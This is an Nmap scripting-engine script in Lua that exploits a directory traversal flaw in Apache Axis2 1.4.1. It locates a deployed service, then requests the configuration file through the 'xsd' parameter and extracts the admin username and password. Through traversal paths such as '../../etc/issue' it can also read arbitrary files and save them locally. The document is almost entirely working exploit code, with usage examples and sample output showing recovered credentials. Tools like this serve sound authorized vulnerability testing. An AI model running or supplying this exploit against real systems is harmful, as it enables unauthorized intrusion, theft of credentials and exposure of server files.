local creds = require "creds" local http = require "http" local io = require "io" local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local table = require "table" description = [[ Exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by sending a specially crafted request to the parameter xsd (BID 40343). By default it will try to retrieve the configuration file of the Axis2 service '/conf/axis2.xml' using the path '/axis2/services/' to return the username and password of the admin account. To exploit this vulnerability we need to detect a valid service running on the installation so we extract it from /listServices before exploiting the directory traversal vulnerability. By default it will retrieve the configuration file, if you wish to retrieve other files you need to set the argument http-axis2-dir-traversal.file correctly to traverse to the file's directory. Ex. ../../../../../../../../../etc/issue To check the version of an Apache Axis2 installation go to: http://domain/axis2/services/Version/getVersion Reference: * https://www.securityfocus.com/bid/40343 * https://www.exploit-db.com/exploits/12721/ ]] --- -- @usage -- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' -- nmap -p80 --script http-axis2-dir-traversal -- -- @output -- 80/tcp open http syn-ack -- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2 -- -- @args http-axis2-dir-traversal.file Remote file to retrieve -- @args http-axis2-dir-traversal.outfile Output file -- @args http-axis2-dir-traversal.basepath Basepath to the services page. Default: /axis2/services/ author = "Paulino Calderon " license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"vuln", "intrusive", "exploit"} portrule = shortport.http --Default configuration values local DEFAULT_FILE = "../conf/axis2.xml" local DEFAULT_PATH = "/axis2/services/" --- --Checks the given URI looks like an Apache Axis2 installation -- @param host Host table -- @param port Port table -- @param path Apache Axis2 Basepath -- @return True if the string "Available services" is found local function check_installation(host, port, path) local req = http.get(host, port, path) if req.status == 200 and http.response_contains(req, "Available services") then return true end return false end --- -- Returns a table with all the available services extracted -- from the services list page -- @param body Services list page body -- @return Table containing the names and paths of the available services local function get_available_services(body) local services = {} for service in string.gmatch(body, '

Service%sDescription%s:%s(.-)

') do table.insert(services, service) end return services end --- --Writes string to file --Taken from: hostmap.nse -- @param filename Filename to write -- @param contents Content of file -- @return True if file was written successfully local function write_file(filename, contents) local f, err = io.open(filename, "w") if not f then return f, err end f:write(contents) f:close() return true end --- -- Extracts Axis2's credentials from the configuration file -- It also adds them to the credentials library. -- @param body Configuration file string -- @return true if credentials are found -- @return Credentials or error string --- local function extract_credentials(host, port, body) local _,_,user = string.find(body, '(.-)') local _,_,pass = string.find(body, '(.-)') if user and pass then local cred_obj = creds.Credentials:new( SCRIPT_NAME, host, port ) cred_obj:add(user, pass, creds.State.VALID ) return true, string.format("Admin credentials found -> %s:%s", user, pass) end return false, "Credentials were not found." end action = function(host, port) local outfile = stdnse.get_script_args("http-axis2-dir-traversal.outfile") local rfile = stdnse.get_script_args("http-axis2-dir-traversal.file") or DEFAULT_FILE local basepath = stdnse.get_script_args("http-axis2-dir-traversal.basepath") or DEFAULT_PATH local selected_service, output --check this is an axis2 installation if not(check_installation(host, port, basepath.."listServices")) then stdnse.debug1("This does not look like an Apache Axis2 installation.") return end output = {} --process list of available services local req = http.get( host, port, basepath.."listServices") local services = get_available_services(req.body) --generate debug info for services and select first one to be used in the request if #services > 0 then for _, servname in pairs(services) do stdnse.debug1("Service found: %s", servname) end selected_service = services[1] else if nmap.verbosity() >= 2 then stdnse.debug1("There are no services available. We can't exploit this") end return end --Use selected service and exploit stdnse.debug1("Querying service: %s", selected_service) req = http.get(host, port, basepath..selected_service.."?xsd="..rfile) stdnse.debug2("Query -> %s", basepath..selected_service.."?xsd="..rfile) --response came back if req.status and req.status == 200 then --if body is empty something wrong could have happened... if string.len(req.body) <= 0 then if nmap.verbosity() >= 2 then stdnse.debug1("Response was empty. The file does not exists or the web server does not have sufficient permissions") end return end output[#output+1] = "\nApache Axis2 Directory Traversal (BID 40343)" --Retrieve file or only show credentials if downloading the configuration file if rfile ~= DEFAULT_FILE then output[#output+1] = req.body else --try to extract credentials local extract_st, extract_msg = extract_credentials(host, port, req.body) if extract_st then output[#output+1] = extract_msg else stdnse.debug1("Credentials not found in configuration file") end end --save to file if selected if outfile then local status, err = write_file(outfile, req.body) if status then output[#output+1] = string.format("%s saved to %s\n", rfile, outfile) else output[#output+1] = string.format("Error saving %s to %s: %s\n", rfile, outfile, err) end end else stdnse.debug1("Request did not return status 200. File might not be found or unreadable") return end if #output > 0 then return table.concat(output, "\n") end end